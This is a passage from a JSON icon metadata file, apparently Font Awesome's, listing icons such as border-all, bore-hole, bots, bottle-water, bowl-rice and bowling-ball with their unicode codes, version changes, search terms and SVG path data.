        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z"
      }
    },
    "free": ["brands"]
  },
  "border-all": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f84c"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cell", "grid", "outline", "stroke", "table"]
    },
    "styles": ["solid"],
    "unicode": "f84c",
    "label": "Border All",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 96V224H256V96H384zm0 192V416H256V288H384zM192 224H64V96H192V224zM64 288H192V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 96V224H256V96H384zm0 192V416H256V288H384zM192 224H64V96H192V224zM64 288H192V416H64V288zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["solid"]
  },
  "border-none": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f850"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cell", "grid", "outline", "stroke", "table"]
    },
    "styles": ["solid"],
    "unicode": "f850",
    "label": "Border None",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm96-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM320 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-320a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0-448a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 288a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm192 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 320a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM416 192a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm96-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM320 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-320a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM224 480a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0-448a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 416a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm0-384a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM416 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM32 288a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm192 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 320a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM416 192a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM32 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm192 64a32 32 0 1 1 0-64 32 32 0 1 1 0 64z"
      }
    },
    "free": ["solid"]
  },
  "border-top-left": {
    "aliases": {
      "names": ["border-style"],
      "unicodes": {
        "secondary": ["10f853"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cell", "outline", "stroke", "table"]
    },
    "styles": ["solid"],
    "unicode": "f853",
    "label": "Border Top Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-336c0-8.8 7.2-16 16-16l336 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L80 32C35.8 32 0 67.8 0 112L0 448zm160 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm-96 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm0 32a32 32 0 1 0 0 64 32 32 0 1 0 0-64zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-336c0-8.8 7.2-16 16-16l336 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L80 32C35.8 32 0 67.8 0 112L0 448zm160 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm-96 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm192 0a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm0 32a32 32 0 1 0 0 64 32 32 0 1 0 0-64zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "bore-hole": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bore", "bury", "drill", "hole"]
    },
    "styles": ["solid"],
    "unicode": "e4c3",
    "label": "Bore Hole",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c-17.7 0-32 14.3-32 32V296.6c-19.1 11.1-32 31.7-32 55.4c0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.4-32-55.4V32c0-17.7-14.3-32-32-32zM48 128c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H384c-17.7 0-32 14.3-32 32V352c0 53-43 96-96 96s-96-43-96-96V160c0-17.7-14.3-32-32-32H48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c-17.7 0-32 14.3-32 32V296.6c-19.1 11.1-32 31.7-32 55.4c0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.4-32-55.4V32c0-17.7-14.3-32-32-32zM48 128c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H384c-17.7 0-32 14.3-32 32V352c0 53-43 96-96 96s-96-43-96-96V160c0-17.7-14.3-32-32-32H48z"
      }
    },
    "free": ["solid"]
  },
  "bots": {
    "changes": ["6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e340",
    "label": "Bots",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M86.344,197.834a51.767,51.767,0,0,0-41.57,20.058V156.018a8.19,8.19,0,0,0-8.19-8.19H8.19A8.19,8.19,0,0,0,0,156.018V333.551a8.189,8.189,0,0,0,8.19,8.189H36.584a8.189,8.189,0,0,0,8.19-8.189v-8.088c11.628,13.373,25.874,19.769,41.573,19.769,34.6,0,61.922-26.164,61.922-73.843C148.266,225.452,121.229,197.834,86.344,197.834ZM71.516,305.691c-9.593,0-21.221-4.942-26.745-12.5V250.164c5.528-7.558,17.152-12.791,26.745-12.791,17.734,0,31.107,13.082,31.107,34.013C102.623,292.609,89.25,305.691,71.516,305.691Zm156.372-59.032a17.4,17.4,0,1,0,17.4,17.4A17.4,17.4,0,0,0,227.888,246.659ZM273.956,156.7V112.039a13.308,13.308,0,1,0-10.237,0V156.7a107.49,107.49,0,1,0,10.237,0Zm85.993,107.367c0,30.531-40.792,55.281-91.112,55.281s-91.111-24.75-91.111-55.281,40.792-55.281,91.111-55.281S359.949,233.532,359.949,264.062Zm-50.163,17.4a17.4,17.4,0,1,0-17.4-17.4h0A17.4,17.4,0,0,0,309.786,281.466ZM580.7,250.455c-14.828-2.617-22.387-3.78-22.387-9.885,0-5.523,7.268-9.884,17.735-9.884a65.56,65.56,0,0,1,34.484,10.1,8.171,8.171,0,0,0,11.288-2.468c.07-.11.138-.221.2-.333l8.611-14.886a8.2,8.2,0,0,0-2.867-11.123,99.863,99.863,0,0,0-52.014-14.138c-38.956,0-60.179,21.514-60.179,46.225,0,36.342,33.725,41.864,57.563,45.642,13.373,2.326,24.13,4.361,24.13,11.048,0,6.4-5.523,10.757-18.9,10.757-13.552,0-30.994-6.222-42.623-13.579a8.206,8.206,0,0,0-11.335,2.491c-.035.054-.069.108-.1.164l-10.2,16.891a8.222,8.222,0,0,0,2.491,11.066c15.224,10.3,37.663,16.692,59.441,16.692,40.409,0,63.957-19.769,63.957-46.515C640,260.63,604.537,254.816,580.7,250.455Zm-95.928,60.787a8.211,8.211,0,0,0-9.521-5.938,23.168,23.168,0,0,1-4.155.387c-7.849,0-12.5-6.106-12.5-14.245V240.28h20.349a8.143,8.143,0,0,0,8.141-8.143V209.466a8.143,8.143,0,0,0-8.141-8.143H458.594V171.091a8.143,8.143,0,0,0-8.143-8.143H422.257a8.143,8.143,0,0,0-8.143,8.143h0v30.232H399a8.143,8.143,0,0,0-8.143,8.143h0v22.671A8.143,8.143,0,0,0,399,240.28h15.115v63.667c0,27.037,15.408,41.282,43.9,41.282,12.183,0,21.383-2.2,27.6-5.446a8.161,8.161,0,0,0,4.145-9.278Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M86.344,197.834a51.767,51.767,0,0,0-41.57,20.058V156.018a8.19,8.19,0,0,0-8.19-8.19H8.19A8.19,8.19,0,0,0,0,156.018V333.551a8.189,8.189,0,0,0,8.19,8.189H36.584a8.189,8.189,0,0,0,8.19-8.189v-8.088c11.628,13.373,25.874,19.769,41.573,19.769,34.6,0,61.922-26.164,61.922-73.843C148.266,225.452,121.229,197.834,86.344,197.834ZM71.516,305.691c-9.593,0-21.221-4.942-26.745-12.5V250.164c5.528-7.558,17.152-12.791,26.745-12.791,17.734,0,31.107,13.082,31.107,34.013C102.623,292.609,89.25,305.691,71.516,305.691Zm156.372-59.032a17.4,17.4,0,1,0,17.4,17.4A17.4,17.4,0,0,0,227.888,246.659ZM273.956,156.7V112.039a13.308,13.308,0,1,0-10.237,0V156.7a107.49,107.49,0,1,0,10.237,0Zm85.993,107.367c0,30.531-40.792,55.281-91.112,55.281s-91.111-24.75-91.111-55.281,40.792-55.281,91.111-55.281S359.949,233.532,359.949,264.062Zm-50.163,17.4a17.4,17.4,0,1,0-17.4-17.4h0A17.4,17.4,0,0,0,309.786,281.466ZM580.7,250.455c-14.828-2.617-22.387-3.78-22.387-9.885,0-5.523,7.268-9.884,17.735-9.884a65.56,65.56,0,0,1,34.484,10.1,8.171,8.171,0,0,0,11.288-2.468c.07-.11.138-.221.2-.333l8.611-14.886a8.2,8.2,0,0,0-2.867-11.123,99.863,99.863,0,0,0-52.014-14.138c-38.956,0-60.179,21.514-60.179,46.225,0,36.342,33.725,41.864,57.563,45.642,13.373,2.326,24.13,4.361,24.13,11.048,0,6.4-5.523,10.757-18.9,10.757-13.552,0-30.994-6.222-42.623-13.579a8.206,8.206,0,0,0-11.335,2.491c-.035.054-.069.108-.1.164l-10.2,16.891a8.222,8.222,0,0,0,2.491,11.066c15.224,10.3,37.663,16.692,59.441,16.692,40.409,0,63.957-19.769,63.957-46.515C640,260.63,604.537,254.816,580.7,250.455Zm-95.928,60.787a8.211,8.211,0,0,0-9.521-5.938,23.168,23.168,0,0,1-4.155.387c-7.849,0-12.5-6.106-12.5-14.245V240.28h20.349a8.143,8.143,0,0,0,8.141-8.143V209.466a8.143,8.143,0,0,0-8.141-8.143H458.594V171.091a8.143,8.143,0,0,0-8.143-8.143H422.257a8.143,8.143,0,0,0-8.143,8.143h0v30.232H399a8.143,8.143,0,0,0-8.143,8.143h0v22.671A8.143,8.143,0,0,0,399,240.28h15.115v63.667c0,27.037,15.408,41.282,43.9,41.282,12.183,0,21.383-2.2,27.6-5.446a8.161,8.161,0,0,0,4.145-9.278Z"
      }
    },
    "free": ["brands"]
  },
  "bottle-droplet": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alcohol", "drink", "oil", "olive oil", "wine"]
    },
    "styles": ["solid"],
    "unicode": "e4c4",
    "label": "Bottle Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M96 0C82.7 0 72 10.7 72 24s10.7 24 24 24c4.4 0 8 3.6 8 8v64.9c0 12.2-7.2 23.1-17.2 30.1C53.7 174.1 32 212.5 32 256V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V256c0-43.5-21.7-81.9-54.8-105c-10-7-17.2-17.9-17.2-30.1V56c0-4.4 3.6-8 8-8c13.3 0 24-10.7 24-24s-10.7-24-24-24l-8 0 0 0 0 0H104l0 0 0 0L96 0zm64 382c-26.5 0-48-20.1-48-45c0-16.8 22.1-48.1 36.3-66.4c6-7.8 17.5-7.8 23.5 0C185.9 288.9 208 320.2 208 337c0 24.9-21.5 45-48 45z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M96 0C82.7 0 72 10.7 72 24s10.7 24 24 24c4.4 0 8 3.6 8 8v64.9c0 12.2-7.2 23.1-17.2 30.1C53.7 174.1 32 212.5 32 256V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V256c0-43.5-21.7-81.9-54.8-105c-10-7-17.2-17.9-17.2-30.1V56c0-4.4 3.6-8 8-8c13.3 0 24-10.7 24-24s-10.7-24-24-24l-8 0 0 0 0 0H104l0 0 0 0L96 0zm64 382c-26.5 0-48-20.1-48-45c0-16.8 22.1-48.1 36.3-66.4c6-7.8 17.5-7.8 23.5 0C185.9 288.9 208 320.2 208 337c0 24.9-21.5 45-48 45z"
      }
    },
    "free": ["solid"]
  },
  "bottle-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["h2o", "plastic", "water"]
    },
    "styles": ["solid"],
    "unicode": "e4c5",
    "label": "Bottle Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M120 0h80c13.3 0 24 10.7 24 24V64H96V24c0-13.3 10.7-24 24-24zM32 151.7c0-15.6 9-29.8 23.2-36.5l24.4-11.4c11-5.1 23-7.8 35.1-7.8h90.6c12.1 0 24.1 2.7 35.1 7.8l24.4 11.4c14.1 6.6 23.2 20.8 23.2 36.5c0 14.4-7.5 27-18.9 34.1c11.5 8.8 18.9 22.6 18.9 38.2c0 16.7-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48c0-16.7 8.5-31.4 21.5-40C40.5 415.4 32 400.7 32 384s8.5-31.4 21.5-40C40.5 335.4 32 320.7 32 304s8.5-31.4 21.5-40C40.5 255.4 32 240.7 32 224c0-15.6 7.4-29.4 18.9-38.2C39.5 178.7 32 166.1 32 151.7zM96 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zm16 112c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M120 0h80c13.3 0 24 10.7 24 24V64H96V24c0-13.3 10.7-24 24-24zM32 151.7c0-15.6 9-29.8 23.2-36.5l24.4-11.4c11-5.1 23-7.8 35.1-7.8h90.6c12.1 0 24.1 2.7 35.1 7.8l24.4 11.4c14.1 6.6 23.2 20.8 23.2 36.5c0 14.4-7.5 27-18.9 34.1c11.5 8.8 18.9 22.6 18.9 38.2c0 16.7-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48c0-16.7 8.5-31.4 21.5-40C40.5 415.4 32 400.7 32 384s8.5-31.4 21.5-40C40.5 335.4 32 320.7 32 304s8.5-31.4 21.5-40C40.5 255.4 32 240.7 32 224c0-15.6 7.4-29.4 18.9-38.2C39.5 178.7 32 166.1 32 151.7zM96 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zm16 112c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z"
      }
    },
    "free": ["solid"]
  },
  "bowl-food": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["catfood", "dogfood", "food", "rice"]
    },
    "styles": ["solid"],
    "unicode": "e4c6",
    "label": "Bowl Food",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 192c0-35.3 28.7-64 64-64c.5 0 1.1 0 1.6 0C73 91.5 105.3 64 144 64c15 0 29 4.1 40.9 11.2C198.2 49.6 225.1 32 256 32s57.8 17.6 71.1 43.2C339 68.1 353 64 368 64c38.7 0 71 27.5 78.4 64c.5 0 1.1 0 1.6 0c35.3 0 64 28.7 64 64c0 11.7-3.1 22.6-8.6 32H8.6C3.1 214.6 0 203.7 0 192zm0 91.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 192c0-35.3 28.7-64 64-64c.5 0 1.1 0 1.6 0C73 91.5 105.3 64 144 64c15 0 29 4.1 40.9 11.2C198.2 49.6 225.1 32 256 32s57.8 17.6 71.1 43.2C339 68.1 353 64 368 64c38.7 0 71 27.5 78.4 64c.5 0 1.1 0 1.6 0c35.3 0 64 28.7 64 64c0 11.7-3.1 22.6-8.6 32H8.6C3.1 214.6 0 203.7 0 192zm0 91.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4z"
      }
    },
    "free": ["solid"]
  },
  "bowl-rice": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boiled", "cooked", "cooked rice", "rice", "steamed"]
    },
    "styles": ["solid"],
    "unicode": "e2eb",
    "label": "Bowl Rice",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 56c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24zm24 48h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zM56 176H72c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM0 283.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4zM224 200c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H248c-13.3 0-24-10.7-24-24zm-96 0c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H104c-13.3 0-24-10.7-24-24s10.7-24 24-24zm216 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H344c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24zm120 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H440c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H392c-13.3 0-24-10.7-24-24s10.7-24 24-24zM296 32h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 56c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24zm24 48h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zM56 176H72c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM0 283.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4zM224 200c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H248c-13.3 0-24-10.7-24-24zm-96 0c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H104c-13.3 0-24-10.7-24-24s10.7-24 24-24zm216 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H344c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24zm120 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H440c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H392c-13.3 0-24-10.7-24-24s10.7-24 24-24zM296 32h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "bowling-ball": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f436"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alley", "candlepin", "gutter", "lane", "strike", "tenpin"]
    },
    "styles": ["solid"],
    "unicode": "f436",
    "label": "Bowling Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM240 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM208 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-64-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM240 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM208 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-64-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "box": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e6"],
        "secondary": ["10f466"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archive", "box", "container", "package", "parcel", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f466",
    "label": "Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
